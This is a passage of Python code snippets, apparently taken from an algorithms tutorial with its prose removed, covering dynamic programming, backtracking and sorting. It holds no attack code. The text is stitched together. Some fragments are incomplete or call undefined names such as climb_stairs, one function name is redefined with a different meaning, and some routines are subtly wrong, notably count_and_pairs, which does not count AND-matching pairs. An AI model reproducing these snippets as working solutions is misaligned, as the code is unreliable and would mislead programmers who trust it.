# Without optimization: O(m × n²)

def knuth_optimization(arr):
    """
    Optimal binary search tree using Knuth's optimization
    """
    n = len(arr)
    dp = [[0] * n for _ in range(n)]
    opt = [[0] * n for _ in range(n)]  # Stores optimal split point

    # Base case: single elements
    for i in range(n):
        opt[i][i] = i

    # Build for increasing lengths
    for length in range(2, n + 1):
        for i in range(n - length + 1):
            j = i + length - 1
            dp[i][j] = float('inf')

            # Search only between opt[i][j-1] and opt[i+1][j]
            for k in range(opt[i][j-1], min(opt[i+1][j], j) + 1):
                cost = dp[i][k-1] if k > i else 0
                cost += dp[k+1][j] if k < j else 0
                cost += sum(arr[i:j+1])  # Additional cost

                if cost < dp[i][j]:
                    dp[i][j] = cost
                    opt[i][j] = k

    return dp[0][n-1]

# Time: O(n²), Space: O(n²)
# Without optimization: O(n³)

def tsp(dist):
    """Minimum cost to visit all cities (TSP)"""
    n = len(dist)
    # dp[mask][i] = min cost to visit cities in mask, ending at i
    dp = [[float('inf')] * n for _ in range(1 << n)]
    dp[1][0] = 0  # Start at city 0

    for mask in range(1 << n):
        for u in range(n):
            if not (mask & (1 << u)):
                continue
            for v in range(n):
                if mask & (1 << v):
                    continue
                new_mask = mask | (1 << v)
                dp[new_mask][v] = min(
                    dp[new_mask][v],
                    dp[mask][u] + dist[u][v]
                )

    # Return to start
    return min(dp[(1 << n) - 1][i] + dist[i][0] for i in range(n))

# Time: O(2ⁿ × n²), Space: O(2ⁿ × n)

def count_digit_dp(n):
    """Count numbers up to n with some property"""
    s = str(n)
    memo = {}

    def dp(pos, tight, started):
        """
        pos: current digit position
        tight: whether we're bounded by n
        started: whether number has started (handle leading zeros)
        """
        if pos == len(s):
            return 1 if started else 0

        if (pos, tight, started) in memo:
            return memo[(pos, tight, started)]

        limit = int(s[pos]) if tight else 9
        result = 0

        for digit in range(0, limit + 1):
            # Check property here
            new_tight = tight and (digit == limit)
            new_started = started or (digit != 0)
            result += dp(pos + 1, new_tight, new_started)

        memo[(pos, tight, started)] = result
        return result

    return dp(0, True, False)

def tree_dp(graph, root):
    """Maximum independent set in tree"""
    # include[v] = max value including v
    # exclude[v] = max value excluding v
    include = {}
    exclude = {}

    def dfs(node, parent):
        include[node] = 1  # Value of node
        exclude[node] = 0

        for child in graph[node]:
            if child == parent:
                continue
            dfs(child, node)
            # If we include node, can't include children
            include[node] += exclude[child]
            # If we exclude node, take max of children
            exclude[node] += max(include[child], exclude[child])

    dfs(root, -1)
    return max(include[root], exclude[root])

def tree_distance_dp(graph, n):
    """Maximum distance from each node in tree"""
    # dp_down[v] = max distance going down from v
    # dp_up[v] = max distance going up from v
    dp_down = [0] * n
    dp_up = [0] * n

    def dfs_down(node, parent):
        """Calculate max distance going down"""
        max_dist = 0
        for child in graph[node]:
            if child != parent:
                dfs_down(child, node)
                max_dist = max(max_dist, 1 + dp_down[child])
        dp_down[node] = max_dist

    def dfs_up(node, parent):
        """Calculate max distance going up or to siblings"""
        # Find two largest child distances
        distances = []
        for child in graph[node]:
            if child != parent:
                distances.append(dp_down[child])
        distances.sort(reverse=True)

        for child in graph[node]:
            if child != parent:
                # Distance going up through parent
                up_dist = dp_up[node] + 1

                # Distance to sibling through parent
                if distances and dp_down[child] == distances[0]:
                    # This child has max distance, use second max
                    sibling_dist = (distances[1] + 2) if len(distances) > 1 else 0
                else:
                    sibling_dist = distances[0] + 2 if distances else 0

                dp_up[child] = max(up_dist, sibling_dist)
                dfs_up(child, node)

    dfs_down(0, -1)
    dfs_up(0, -1)

    # Answer for each node
    return [max(dp_down[i], dp_up[i]) for i in range(n)]

# Time: O(n), Space: O(n)

def tree_rerooting(graph, n):
    """Compute DP for each node as root using rerooting"""
    dp = [0] * n
    ans = [0] * n

    def dfs1(node, parent):
        """First DFS: compute subtree answers"""
        result = 0
        for child in graph[node]:
            if child != parent:
                result += dfs1(child, node) + 1
        dp[node] = result
        return result

    def dfs2(node, parent, parent_contribution):
        """Second DFS: reroot and compute answers"""
        ans[node] = dp[node] + parent_contribution

        for child in graph[node]:
            if child != parent:
                # Remove child's contribution
                without_child = ans[node] - (dp[child] + 1)
                # Reroot to child
                dfs2(child, node, without_child + 1)

    dfs1(0, -1)
    dfs2(0, -1, 0)
    return ans

# Time: O(n), Space: O(n)

def expected_dice_rolls(target):
    """Expected rolls to reach target with fair die (1-6)"""
    # dp[i] = expected rolls to reach target from i
    dp = [0] * (target + 7)

    for i in range(target - 1, -1, -1):
        # From position i, roll die
        expected = 0
        for dice in range(1, 7):
            next_pos = min(i + dice, target)
            if next_pos == target:
                expected += 1  # Reached target in 1 roll
            else:
                expected += 1 + dp[next_pos]  # 1 roll + expected from next
        dp[i] = expected / 6  # Average over all outcomes

    return dp[0]

# Time: O(target), Space: O(target)

def probability_target(n, k, target):
    """
    Probability of reaching exactly target with n dice, k faces each
    """
    # dp[i][j] = probability of sum j using i dice
    dp = [[0.0] * (target + 1) for _ in range(n + 1)]
    dp[0][0] = 1.0  # Base: 0 dice, 0 sum

    for i in range(1, n + 1):
        for j in range(i, min(target + 1, i * k + 1)):
            # Roll current die
            for face in range(1, k + 1):
                if j - face >= 0:
                    dp[i][j] += dp[i-1][j-face] / k

    return dp[n][target]

# Time: O(n × target × k), Space: O(n × target)

def expected_maximum_value(prices):
    """
    Expected value selling stock optimally
    Each day: know future is randomly up/down
    """
    n = len(prices)
    # dp[i] = expected value starting from day i
    dp = [0] * (n + 1)

    for i in range(n - 1, -1, -1):
        # Option 1: Sell now
        sell_now = prices[i]

        # Option 2: Wait (assume 50% up, 50% down)
        if i < n - 1:
            wait = (dp[i+1] * 1.1 + dp[i+1] * 0.9) / 2  # Expected next value
        else:
            wait = 0

        dp[i] = max(sell_now, wait)

    return dp[0]

# Time: O(n), Space: O(n)

def domino_tiling(n, m):
    """Count ways to tile n×m board with 1×2 dominoes"""
    # dp[col][mask] = ways to reach col with profile mask
    # mask[i] = 1 if cell (i, col) is filled from previous column

    def fits(mask, i, n):
        """Check if we can place tiles starting from row i"""
        if i == n:
            return mask == 0  # All cells must be filled

        if mask & (1 << i):  # Already filled
            return fits(mask, i + 1, n)

        # Try vertical tile (fills current column)
        result = fits(mask | (1 << i), i + 1, n)

        # Try horizontal tile (extends to next column)
        if i + 1 < n and not (mask & (1 << (i + 1))):
            new_mask = mask | (1 << i) | (1 << (i + 1))
            result += fits(new_mask, i + 2, n)

        return result

    # dp[col][mask]
    dp = [{} for _ in range(m + 1)]
    dp[0][0] = 1

    for col in range(m):
        for mask, ways in dp[col].items():
            # Try all next profiles
            def fill_column(row, curr_mask, next_mask):
                if row == n:
                    dp[col + 1][next_mask] = dp[col + 1].get(next_mask, 0) + ways
                    return

                if curr_mask & (1 << row):  # Already filled
                    fill_column(row + 1, curr_mask, next_mask)
                else:
                    # Place vertical tile
                    fill_column(row + 1, curr_mask | (1 << row), next_mask)

                    # Place horizontal tile
                    if row + 1 < n and not (curr_mask & (1 << (row + 1))):
                        new_curr = curr_mask | (1 << row) | (1 << (row + 1))
                        new_next = next_mask | (1 << row) | (1 << (row + 1))
                        fill_column(row + 2, new_curr, new_next)

            fill_column(0, mask, 0)

    return dp[m].get(0, 0)

# Time: O(m × 2^n × n), Space: O(2^n)

def sum_over_subsets(arr):
    """
    For each mask i, compute sum of arr[j] for all j that are submasks of i
    """
    n = len(arr)
    max_mask = n  # Assuming arr indexed by mask values
    log_n = max_mask.bit_length()

    dp = arr[:]

    # Iterate over bits
    for i in range(log_n):
        # Iterate over masks
        for mask in range(max_mask):
            if mask & (1 << i):
                # Add contribution from mask without bit i
                dp[mask] += dp[mask ^ (1 << i)]

    return dp

# Time: O(n × log n) where n = 2^k
# Without SOS DP: O(3^k) for k bits

def count_and_pairs(arr, target):
    """Count pairs where arr[i] & arr[j] == target"""
    max_val = max(arr)
    freq = [0] * (max_val + 1)

    # Count frequency
    for num in arr:
        freq[num] += 1

    # SOS DP
    dp = freq[:]
    for i in range(20):  # Assuming 20-bit numbers
        for mask in range(max_val + 1):
            if mask & (1 << i):
                dp[mask] += dp[mask ^ (1 << i)]

    # Count pairs
    count = 0
    for num in arr:
        # Find supermasks that AND with num gives target
        supermask = num | target
        if supermask <= max_val:
            count += dp[supermask]

    return count

# Time: O(n + M log M) where M is max value

dp[current_state] = optimal_choice(
    dp[smaller_state_1],
    dp[smaller_state_2],
    ...
)

# Wrong: doesn't handle n=0
def fib(n):
    dp = [0] * n
    # IndexError when n=0!

# Correct
def fib(n):
    if n <= 1:
        return n
    dp = [0] * (n + 1)

# Wrong: using updated values in 0/1 knapsack
for item in items:
    for w in range(W + 1):  # Forward iteration
        dp[w] = max(dp[w], dp[w - weight] + value)

# Correct: backward iteration prevents using updated values
for item in items:
    for w in range(W, weight - 1, -1):
        dp[w] = max(dp[w], dp[w - weight] + value)

# dp[i] represents first i elements (0-indexed array)
# So element at index i-1 in array
dp[i] = f(array[i-1], dp[i-1])

MOD = 10**9 + 7

def count_ways(n):
    dp = [0] * (n + 1)
    dp[0] = 1
    for i in range(1, n + 1):
        dp[i] = (dp[i-1] + dp[i-2]) % MOD  # Take modulo
    return dp[n]

# Wrong: memo is shared across calls!
def dp(n, memo={}):
    ...

# Correct
def dp(n, memo=None):
    if memo is None:
        memo = {}
    ...

def matrix_mult(A, B):
    """Multiply two 2x2 matrices"""
    return [
        [A[0][0]*B[0][0] + A[0][1]*B[1][0], A[0][0]*B[0][1] + A[0][1]*B[1][1]],
        [A[1][0]*B[0][0] + A[1][1]*B[1][0], A[1][0]*B[0][1] + A[1][1]*B[1][1]]
    ]

def matrix_pow(M, n):
    """Compute M^n using binary exponentiation"""
    if n == 1:
        return M
    if n % 2 == 0:
        half = matrix_pow(M, n // 2)
        return matrix_mult(half, half)
    else:
        return matrix_mult(M, matrix_pow(M, n - 1))

def fibonacci_fast(n):
    """Compute nth Fibonacci in O(log n)"""
    if n <= 1:
        return n

    # Transformation matrix for Fibonacci
    M = [[1, 1], [1, 0]]
    result = matrix_pow(M, n)
    return result[0][1]

# Time: O(log n), Space: O(log n)
# Standard DP: O(n) time

def linear_recurrence_fast(coeffs, init, n):
    """
    Solve f(n) = c1*f(n-1) + c2*f(n-2) + ... + ck*f(n-k)
    coeffs = [c1, c2, ..., ck]
    init = [f(0), f(1), ..., f(k-1)]
    """
    k = len(coeffs)
    if n < k:
        return init[n]

    # Build transformation matrix
    M = [[0] * k for _ in range(k)]
    M[0] = coeffs
    for i in range(1, k):
        M[i][i-1] = 1

    def mat_mult(A, B):
        size = len(A)
        C = [[0] * size for _ in range(size)]
        for i in range(size):
            for j in range(size):
                for k in range(size):
                    C[i][j] += A[i][k] * B[k][j]
        return C

    def mat_pow(mat, exp):
        if exp == 1:
            return mat
        if exp % 2 == 0:
            half = mat_pow(mat, exp // 2)
            return mat_mult(half, half)
        return mat_mult(mat, mat_pow(mat, exp - 1))

    # Apply transformation n - k + 1 times
    result_mat = mat_pow(M, n - k + 1)

    # Compute result from initial values
    result = 0
    for i in range(k):
        result += result_mat[0][i] * init[k - 1 - i]

    return result

# Time: O(k³ log n), Space: O(k²)

MOD = 10**9 + 7

def count_ways_mod(n, k):
    """Count ways to reach n using steps 1 to k, modulo MOD"""
    dp = [0] * (n + 1)
    dp[0] = 1

    for i in range(1, n + 1):
        for step in range(1, min(i, k) + 1):
            dp[i] = (dp[i] + dp[i - step]) % MOD

    return dp[n]

# Time: O(n × k), Space: O(n)

import math

def max_gcd_path(grid):
    """Maximum GCD along path from top-left to bottom-right"""
    m, n = len(grid), len(grid[0])
    # dp[i][j] = set of possible GCDs reaching (i, j)
    dp = [[set() for _ in range(n)] for _ in range(m)]

    dp[0][0].add(grid[0][0])

    for i in range(m):
        for j in range(n):
            if i == 0 and j == 0:
                continue

            # From top
            if i > 0:
                for g in dp[i-1][j]:
                    dp[i][j].add(math.gcd(g, grid[i][j]))

            # From left
            if j > 0:
                for g in dp[i][j-1]:
                    dp[i][j].add(math.gcd(g, grid[i][j]))

    return max(dp[m-1][n-1])

# Time: O(m × n × G × log V) where G is number of unique GCDs, V is max value

def count_numbers_with_digit_sum(n, target_sum):
    """Count numbers from 1 to n with digit sum equal to target_sum"""
    s = str(n)
    memo = {}

    def dp(pos, sum_so_far, tight, started):
        """
        pos: current position
        sum_so_far: sum of digits chosen
        tight: whether we're still bounded by n
        started: whether we've placed a non-zero digit
        """
        if pos == len(s):
            return 1 if (started and sum_so_far == target_sum) else 0

        state = (pos, sum_so_far, tight, started)
        if state in memo:
            return memo[state]

        limit = int(s[pos]) if tight else 9
        result = 0

        for digit in range(0, limit + 1):
            if not started and digit == 0:
                # Leading zero
                result += dp(pos + 1, sum_so_far, False, False)
            else:
                new_sum = sum_so_far + digit
                if new_sum <= target_sum:  # Prune
                    new_tight = tight and (digit == limit)
                    result += dp(pos + 1, new_sum, new_tight, True)

        memo[state] = result
        return result

    return dp(0, 0, True, False)

# Time: O(len(n) × target_sum × 2 × 2 × 10)

def debug_dp_table(dp):
    """Visualize DP table"""
    for i, row in enumerate(dp):
        print(f"dp[{i}] = {row}")

def verify_base_cases():
    """Test smallest inputs"""
    assert climb_stairs(1) == 1
    assert climb_stairs(2) == 2
    assert climb_stairs(3) == 3

def manual_check():
    """Manually verify recurrence for small n"""
    # For climbing stairs: dp[3] should equal dp[2] + dp[1]
    assert dp[3] == dp[2] + dp[1]

def brute_force(n):
    """Exponential but correct solution"""
    if n <= 1:
        return 1
    return brute_force(n-1) + brute_force(n-2)

def test_against_brute_force():
    """Verify DP against brute force for small inputs"""
    for n in range(1, 15):
        assert climb_stairs(n) == brute_force(n)

def dp_with_trace(n, memo=None):
    """Add tracing to see execution flow"""
    if memo is None:
        memo = {}

    print(f"Computing dp({n})")

    if n in memo:
        print(f"  -> Found in memo: {memo[n]}")
        return memo[n]

    if n <= 1:
        print(f"  -> Base case: {n}")
        return n

    result = dp_with_trace(n-1, memo) + dp_with_trace(n-2, memo)
    memo[n] = result
    print(f"  -> Computed dp({n}) = {result}")
    return result

import time
import functools

def benchmark_dp_solutions():
    """Compare different DP approaches"""
    n = 30

    # Memoization
    start = time.time()
    @functools.lru_cache(None)
    def fib_memo(n):
        return n if n <= 1 else fib_memo(n-1) + fib_memo(n-2)
    result1 = fib_memo(n)
    time1 = time.time() - start

    # Tabulation
    start = time.time()
    def fib_tab(n):
        if n <= 1: return n
        dp = [0] * (n + 1)
        dp[1] = 1
        for i in range(2, n + 1):
            dp[i] = dp[i-1] + dp[i-2]
        return dp[n]
    result2 = fib_tab(n)
    time2 = time.time() - start

    # Space-optimized
    start = time.time()
    def fib_opt(n):
        if n <= 1: return n
        a, b = 0, 1
        for _ in range(2, n + 1):
            a, b = b, a + b
        return b
    result3 = fib_opt(n)
    time3 = time.time() - start

    print(f"Memoization: {time1:.6f}s")
    print(f"Tabulation:  {time2:.6f}s")
    print(f"Optimized:   {time3:.6f}s")

class TrieNode:
    def __init__(self):
        self.children = {}
        self.sentences = []  # (sentence, frequency) pairs

class AutocompleteSystem:
    def __init__(self, sentences, times):
        self.root = TrieNode()
        self.current = self.root
        self.prefix = ""

        # Build trie with DP for top-k at each node
        for sentence, freq in zip(sentences, times):
            self._add_sentence(sentence, freq)

    def _add_sentence(self, sentence, freq):
        node = self.root
        for char in sentence:
            if char not in node.children:
                node.children[char] = TrieNode()
            node = node.children[char]
            # DP: maintain top k sentences at each node
            node.sentences.append((sentence, freq))
            node.sentences.sort(key=lambda x: (-x[1], x[0]))
            node.sentences = node.sentences[:3]  # Keep top 3

    def input(self, c):
        if c == '#':
            # Save sentence
            self._add_sentence(self.prefix, 1)
            self.prefix = ""
            self.current = self.root
            return []

        self.prefix += c
        if self.current and c in self.current.children:
            self.current = self.current.children[c]
            return [s for s, _ in self.current.sentences]
        else:
            self.current = None
            return []

# Time: O(k × L) per input, where L is sentence length
# Space: O(T) where T is total characters in trie

def optimize_video_encoding(frames, max_distance):
    """
    Select keyframes to minimize encoding cost
    frames[i] = quality score of frame i
    max_distance = maximum frames between keyframes
    """
    n = len(frames)
    # dp[i] = min cost to encode frames[0..i]
    dp = [float('inf')] * n
    keyframes = [[] for _ in range(n)]

    # Cost function: more distance between keyframes = lower quality
    def encoding_cost(start, end):
        distance = end - start
        if distance > max_distance:
            return float('inf')
        # Cost increases with distance
        base_cost = distance * 10
        quality_loss = sum(frames[start+1:end+1]) * distance
        return base_cost + quality_loss

    # Base case
    dp[0] = 0
    keyframes[0] = [0]

    for i in range(1, n):
        # Try each possible previous keyframe
        for prev_keyframe in range(max(0, i - max_distance), i + 1):
            cost = encoding_cost(prev_keyframe, i)
            total_cost = (dp[prev_keyframe] if prev_keyframe > 0 else 0) + cost

            if total_cost < dp[i]:
                dp[i] = total_cost
                keyframes[i] = keyframes[prev_keyframe - 1] + [i] if prev_keyframe > 0 else [i]

    return dp[n-1], keyframes[n-1]

# Time: O(n × max_distance), Space: O(n)

def optimize_inventory(demand, order_cost, holding_cost, capacity):
    """
    Optimize inventory orders over time
    demand[i] = demand in period i
    order_cost = fixed cost per order
    holding_cost = cost per unit per period
    capacity = warehouse capacity
    """
    n = len(demand)
    # dp[i] = min cost to satisfy demand for periods 0..i
    dp = [float('inf')] * n
    orders = [None] * n

    for i in range(n):
        # Try ordering for periods j to i in one order
        total_demand = 0
        for j in range(i, -1, -1):
            total_demand += demand[j]

            if total_demand > capacity:
                break

            # Calculate holding cost for this order
            hold_cost = 0
            cumulative = 0
            for k in range(j, i + 1):
                cumulative += demand[k]
                # Hold cumulative units for (i - k) periods
                hold_cost += cumulative * holding_cost * (i - k)

            # Total cost
            prev_cost = dp[j-1] if j > 0 else 0
            total = prev_cost + order_cost + hold_cost

            if total < dp[i]:
                dp[i] = total
                orders[i] = (j, i, total_demand)

    # Reconstruct ordering strategy
    strategy = []
    i = n - 1
    while i >= 0:
        strategy.append(orders[i])
        i = orders[i][0] - 1

    return dp[n-1], list(reversed(strategy))

# Time: O(n²), Space: O(n)

def delivery_route_dp(locations, time_windows, travel_time):
    """
    Find optimal delivery sequence
    locations = list of delivery points
    time_windows[i] = (earliest, latest) time for location i
    travel_time[i][j] = time from location i to j
    """
    n = len(locations)
    # dp[mask][last][time] = min cost to visit locations in mask, ending at last, at time
    # Use dictionary for sparse storage
    dp = {}

    def solve(visited, last, current_time):
        state = (visited, last, current_time)
        if state in dp:
            return dp[state]

        # All locations visited
        if visited == (1 << n) - 1:
            return 0

        min_cost = float('inf')

        # Try visiting each unvisited location
        for next_loc in range(n):
            if visited & (1 << next_loc):
                continue

            # Travel to next location
            arrival_time = current_time + travel_time[last][next_loc]
            earliest, latest = time_windows[next_loc]

            # Check if we can make the time window
            if arrival_time <= latest:
                # Wait if we arrive early
                service_time = max(arrival_time, earliest)
                wait_cost = max(0, earliest - arrival_time)

                # Recurse
                future_cost = solve(
                    visited | (1 << next_loc),
                    next_loc,
                    service_time + 1  # Service takes 1 unit
                )

                total_cost = wait_cost + future_cost
                min_cost = min(min_cost, total_cost)

        dp[state] = min_cost
        return min_cost

    # Start from depot (location 0) at time 0
    return solve(1, 0, 0)

# Time: O(n² × 2^n × T) where T is time range
# Space: O(2^n × T)

def segment_text(text, dictionary, language_model):
    """
    Segment text into words optimally
    text = unsegmented text
    dictionary = set of valid words
    language_model = function giving probability of word sequence
    """
    n = len(text)
    # dp[i] = (max_prob, segmentation) for text[0..i]
    dp = [(0, [])] * (n + 1)
    dp[0] = (1.0, [])

    for i in range(1, n + 1):
        best_prob = 0
        best_seg = []

        # Try all possible last words
        for j in range(i):
            word = text[j:i]
            if word in dictionary:
                prev_prob, prev_seg = dp[j]
                # Use language model for word probability
                word_prob = language_model(prev_seg, word)
                total_prob = prev_prob * word_prob

                if total_prob > best_prob:
                    best_prob = total_prob
                    best_seg = prev_seg + [word]

        dp[i] = (best_prob, best_seg)

    return dp[n][1]

# Example with simple language model
def simple_language_model(prev_words, new_word):
    """Simple unigram model"""
    # In practice, use bigram/trigram probabilities
    freq = {
        'hello': 0.01,
        'world': 0.008,
        'the': 0.05,
        # ... more word frequencies
    }
    return freq.get(new_word, 0.0001)

# Time: O(n² × D) where D is dictionary lookup time
# Space: O(n × W) where W is average segmentation length

def optimize_join_order(tables, join_costs):
    """
    Find optimal order to join database tables
    tables = list of table names
    join_costs[i][j] = cost to join tables i and j
    """
    n = len(tables)
    # dp[mask] = (min_cost, join_order) for tables in mask
    dp = {}
    dp[0] = (0, [])

    # Initialize single tables
    for i in range(n):
        dp[1 << i] = (0, [tables[i]])

    # Try all subsets
    for mask in range(1, 1 << n):
        if mask not in dp:
            continue

        current_cost, current_order = dp[mask]

        # Try joining with each table not in mask
        for i in range(n):
            if mask & (1 << i):
                continue

            new_mask = mask | (1 << i)

            # Calculate cost of joining table i
            join_cost = 0
            for j in range(n):
                if mask & (1 << j):
                    join_cost += join_costs[j][i]

            total_cost = current_cost + join_cost
            new_order = current_order + [tables[i]]

            if new_mask not in dp or total_cost < dp[new_mask][0]:
                dp[new_mask] = (total_cost, new_order)

    full_mask = (1 << n) - 1
    return dp[full_mask]

# Time: O(n² × 2^n), Space: O(2^n)

def seam_carving(image, energy_function):
    """
    Find minimum energy vertical seam for content-aware resizing
    image = 2D array of pixels
    energy_function = function to compute pixel importance
    """
    m, n = len(image), len(image[0])

    # Compute energy for each pixel
    energy = [[energy_function(image, i, j) for j in range(n)] for i in range(m)]

    # dp[i][j] = min energy to reach pixel (i, j)
    dp = [[float('inf')] * n for _ in range(m)]
    parent = [[None] * n for _ in range(m)]

    # Base case: first row
    for j in range(n):
        dp[0][j] = energy[0][j]

    # Fill DP table
    for i in range(1, m):
        for j in range(n):
            # Try coming from three possible parents
            for pj in range(max(0, j-1), min(n, j+2)):
                if dp[i-1][pj] + energy[i][j] < dp[i][j]:
                    dp[i][j] = dp[i-1][pj] + energy[i][j]
                    parent[i][j] = pj

    # Find minimum in last row
    min_col = min(range(n), key=lambda j: dp[m-1][j])

    # Backtrack to find seam
    seam = []
    col = min_col
    for i in range(m-1, -1, -1):
        seam.append((i, col))
        if parent[i][col] is not None:
            col = parent[i][col]

    return list(reversed(seam)), dp[m-1][min_col]

def simple_energy(image, i, j):
    """Simple gradient-based energy function"""
    m, n = len(image), len(image[0])
    energy = 0

    # Horizontal gradient
    if j > 0 and j < n - 1:
        energy += abs(image[i][j+1] - image[i][j-1])

    # Vertical gradient
    if i > 0 and i < m - 1:
        energy += abs(image[i+1][j] - image[i-1][j])

    return energy

# Time: O(m × n), Space: O(m × n)

# 1. Take or skip
dp[i] = max(skip, take)

# 2. Extend or reset
dp[i] = max(dp[i-1] + arr[i], arr[i])

# 3. Minimum of choices
dp[i] = min(choice1, choice2, ...)

# 4. Sum of ways
dp[i] = sum(dp[j] for j in valid_previous_states)

# 5. 2D combination
dp[i][j] = f(dp[i-1][j], dp[i][j-1], dp[i-1][j-1])

def solve_n_queens(n):
    def is_valid(board, row, col):
        # Check column
        for i in range(row):
            if board[i][col] == 'Q':
                return False

        # Check diagonal (top-left)
        i, j = row - 1, col - 1
        while i >= 0 and j >= 0:
            if board[i][j] == 'Q':
                return False
            i -= 1
            j -= 1

        # Check diagonal (top-right)
        i, j = row - 1, col + 1
        while i >= 0 and j < n:
            if board[i][j] == 'Q':
                return False
            i -= 1
            j += 1

        return True

    def backtrack(board, row):
        if row == n:
            result.append([''.join(row) for row in board])
            return

        for col in range(n):
            if is_valid(board, row, col):
                board[row][col] = 'Q'
                backtrack(board, row + 1)
                board[row][col] = '.'  # Backtrack

    result = []
    board = [['.' for _ in range(n)] for _ in range(n)]
    backtrack(board, 0)
    return result

# Example usage
solutions = solve_n_queens(4)
print(f"Found {len(solutions)} solutions for 4-Queens")
for solution in solutions:
    for row in solution:
        print(row)
    print()

def solve_sudoku(board):
    def is_valid(board, row, col, num):
        # Check row
        if num in board[row]:
            return False

        # Check column
        if num in [board[i][col] for i in range(9)]:
            return False

        # Check 3x3 box
        box_row, box_col = 3 * (row // 3), 3 * (col // 3)
        for i in range(box_row, box_row + 3):
            for j in range(box_col, box_col + 3):
                if board[i][j] == num:
                    return False

        return True

    def backtrack():
        for row in range(9):
            for col in range(9):
                if board[row][col] == '.':
                    for num in '123456789':
                        if is_valid(board, row, col, num):
                            board[row][col] = num
                            if backtrack():
                                return True
                            board[row][col] = '.'  # Backtrack
                    return False
        return True

    backtrack()
    return board

# Example usage
board = [
    ["5","3",".",".","7",".",".",".","."],
    ["6",".",".","1","9","5",".",".","."],
    [".","9","8",".",".",".",".","6","."],
    ["8",".",".",".","6",".",".",".","3"],
    ["4",".",".","8",".","3",".",".","1"],
    ["7",".",".",".","2",".",".",".","6"],
    [".","6",".",".",".",".","2","8","."],
    [".",".",".","4","1","9",".",".","5"],
    [".",".",".",".","8",".",".","7","9"]
]
solve_sudoku(board)

def subsets(nums):
    result = []

    def backtrack(start, path):
        # Add current subset to result
        result.append(path[:])

        # Try adding each remaining element
        for i in range(start, len(nums)):
            path.append(nums[i])
            backtrack(i + 1, path)
            path.pop()  # Backtrack

    backtrack(0, [])
    return result

# Example usage
nums = [1, 2, 3]
print(subsets(nums))
# Output: [[], [1], [1, 2], [1, 2, 3], [1, 3], [2], [2, 3], [3]]

def permute(nums):
    result = []

    def backtrack(path, remaining):
        if not remaining:
            result.append(path[:])
            return

        for i in range(len(remaining)):
            # Choose
            path.append(remaining[i])
            # Explore
            backtrack(path, remaining[:i] + remaining[i+1:])
            # Unchoose (backtrack)
            path.pop()

    backtrack([], nums)
    return result

# Alternative implementation using swap
def permute_swap(nums):
    result = []

    def backtrack(first):
        if first == len(nums):
            result.append(nums[:])
            return

        for i in range(first, len(nums)):
            nums[first], nums[i] = nums[i], nums[first]
            backtrack(first + 1)
            nums[first], nums[i] = nums[i], nums[first]  # Backtrack

    backtrack(0)
    return result

# Example usage
nums = [1, 2, 3]
print(permute(nums))
# Output: [[1,2,3],[1,3,2],[2,1,3],[2,3,1],[3,1,2],[3,2,1]]

def combination_sum(candidates, target):
    result = []

    def backtrack(start, path, current_sum):
        if current_sum == target:
            result.append(path[:])
            return

        if current_sum > target:
            return  # Prune this branch

        for i in range(start, len(candidates)):
            path.append(candidates[i])
            # Can reuse same element, so pass i (not i+1)
            backtrack(i, path, current_sum + candidates[i])
            path.pop()  # Backtrack

    backtrack(0, [], 0)
    return result

# Example usage
candidates = [2, 3, 6, 7]
target = 7
print(combination_sum(candidates, target))
# Output: [[2,2,3], [7]]

def word_search(board, word):
    rows, cols = len(board), len(board[0])

    def backtrack(row, col, index):
        # Found the word
        if index == len(word):
            return True

        # Out of bounds or wrong character
        if (row < 0 or row >= rows or
            col < 0 or col >= cols or
            board[row][col] != word[index]):
            return False

        # Mark as visited
        temp = board[row][col]
        board[row][col] = '#'

        # Explore all directions
        found = (backtrack(row + 1, col, index + 1) or
                backtrack(row - 1, col, index + 1) or
                backtrack(row, col + 1, index + 1) or
                backtrack(row, col - 1, index + 1))

        # Backtrack
        board[row][col] = temp

        return found

    # Try starting from each cell
    for row in range(rows):
        for col in range(cols):
            if backtrack(row, col, 0):
                return True
    return False

# Example usage
board = [
    ['A','B','C','E'],
    ['S','F','C','S'],
    ['A','D','E','E']
]
print(word_search(board, "ABCCED"))  # True
print(word_search(board, "SEE"))     # True
print(word_search(board, "ABCB"))    # False

def partition(s):
    def is_palindrome(s, left, right):
        while left < right:
            if s[left] != s[right]:
                return False
            left += 1
            right -= 1
        return True

    result = []

    def backtrack(start, path):
        if start == len(s):
            result.append(path[:])
            return

        for end in range(start, len(s)):
            if is_palindrome(s, start, end):
                path.append(s[start:end+1])
                backtrack(end + 1, path)
                path.pop()  # Backtrack

    backtrack(0, [])
    return result

# Example usage
s = "aab"
print(partition(s))
# Output: [["a","a","b"], ["aa","b"]]

def backtrack_template(input_data):
    result = []

    def backtrack(state, ...):
        # Base case: valid solution found
        if is_valid_solution(state):
            result.append(construct_solution(state))
            return

        # Try all possible choices
        for choice in get_choices(state):
            # Make choice
            make_choice(state, choice)

            # Recurse with updated state
            backtrack(state, ...)

            # Undo choice (backtrack)
            undo_choice(state, choice)

    # Initialize and start backtracking
    initial_state = initialize()
    backtrack(initial_state)
    return result

def merge_sort(arr):
    # Base case: array with 0 or 1 element
    if len(arr) <= 1:
        return arr

    # Divide: split array in half
    mid = len(arr) // 2
    left = merge_sort(arr[:mid])
    right = merge_sort(arr[mid:])

    # Conquer and Combine: merge sorted halves
    return merge(left, right)

def merge(left, right):
    result = []
    i = j = 0

    # Merge while both arrays have elements
    while i < len(left) and j < len(right):
        if left[i] <= right[j]:
            result.append(left[i])
            i += 1
        else:
            result.append(right[j])
            j += 1

    # Add remaining elements
    result.extend(left[i:])
    result.extend(right[j:])
    return result

# Example usage
arr = [38, 27, 43, 3, 9, 82, 10]
sorted_arr = merge_sort(arr)
print(sorted_arr)  # Output: [3, 9, 10, 27, 38, 43, 82]

def quick_sort(arr):
    if len(arr) <= 1:
        return arr

    # Choose pivot (middle element)
    pivot = arr[len(arr) // 2]

    # Divide: partition around pivot
    left = [x for x in arr if x < pivot]
    middle = [x for x in arr if x == pivot]
    right = [x for x in arr if x > pivot]

    # Conquer and Combine
    return quick_sort(left) + middle + quick_sort(right)

# In-place version
def quick_sort_inplace(arr, low, high):
    if low < high:
        # Partition and get pivot index
        pi = partition(arr, low, high)

        # Recursively sort elements before and after partition
        quick_sort_inplace(arr, low, pi - 1)
        quick_sort_inplace(arr, pi + 1, high)

def partition(arr, low, high):
    pivot = arr[high]
    i = low - 1

    for j in range(low, high):
        if arr[j] <= pivot:
            i += 1
            arr[i], arr[j] = arr[j], arr[i]

    arr[i + 1], arr[high] = arr[high], arr[i + 1]
    return i + 1

# Example usage
arr = [10, 7, 8, 9, 1, 5]
quick_sort_inplace(arr, 0, len(arr) - 1)
